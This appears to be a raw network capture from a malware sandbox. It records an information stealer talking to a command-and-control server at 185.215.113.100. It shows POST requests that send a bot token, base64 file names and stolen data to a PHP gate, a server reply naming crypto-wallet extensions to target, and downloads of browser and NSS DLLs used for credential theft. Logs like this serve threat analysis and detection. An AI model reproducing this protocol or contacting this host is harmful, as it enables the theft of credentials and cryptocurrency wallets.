Sep 1, 2024 05:09:13.715230942 CEST	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Sep 1, 2024 05:09:13.715240002 CEST	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Sep 1, 2024 05:09:13.715249062 CEST	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Sep 1, 2024 05:09:13.717005968 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBGHIIDAECBFIDHIIDG Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 47 48 49 49 44 41 45 43 42 46 49 44 48 49 49 44 47 2d 2d 0d 0a Data Ascii: ------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------JDBGHIIDAECBFIDHIIDGContent-Disposition: form-data; name="message"fplugins------JDBGHIIDAECBFIDHIIDG--
Sep 1, 2024 05:09:13.961343050 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:13 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 1, 2024 05:09:13.979054928 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCFHIDAKECFHIEBFCGI Host: 185.215.113.100 Content-Length: 5195 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 05:09:13.979087114 CEST	5195	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 46 48 49 44 41 4b 45 43 46 48 49 45 42 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 Data Ascii: ------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------DGCFHIDAKECFHIEBFCGIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 1, 2024 05:09:14.927830935 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:15.345114946 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:15.589468002 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 1, 2024 05:09:15.589487076 CEST	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 1, 2024 05:09:15.589548111 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 1, 2024 05:09:18.821640968 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.100 Content-Length: 4599 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 05:09:19.777086973 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:19.881299019 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFCFHDHIIIECBGCAKFI Host: 185.215.113.100 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 05:09:20.827493906 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:21.044920921 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIE Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="file"------JKJEHJKJEBGHJJKEBGIE--
Sep 1, 2024 05:09:21.870723009 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:22.478385925 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 64 35 36 65 38 30 34 38 33 62 66 65 63 30 33 34 32 31 61 37 62 31 34 37 37 35 33 61 33 37 34 65 65 66 34 65 31 32 37 38 34 36 35 32 39 37 32 32 31 30 37 36 33 39 65 62 31 33 61 35 66 61 63 63 62 36 62 37 62 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"d2d56e80483bfec03421a7b147753a374eef4e127846529722107639eb13a5faccb6b7bb------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="file"------HJKKFIJKFCAKJJJKJKFI--
Sep 1, 2024 05:09:23.345724106 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 05:09:23.687201977 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:23.930289030 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 1, 2024 05:09:24.871434927 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:25.113637924 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:25 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Sep 1, 2024 05:09:25.958235025 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:26.200814962 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Sep 1, 2024 05:09:26.506052017 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:26.748630047 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Sep 1, 2024 05:09:28.312546968 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:28.554955959 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Sep 1, 2024 05:09:28.743539095 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Sep 1, 2024 05:09:28.986653090 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 03:09:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Sep 1, 2024 05:09:29.464107990 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.100 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
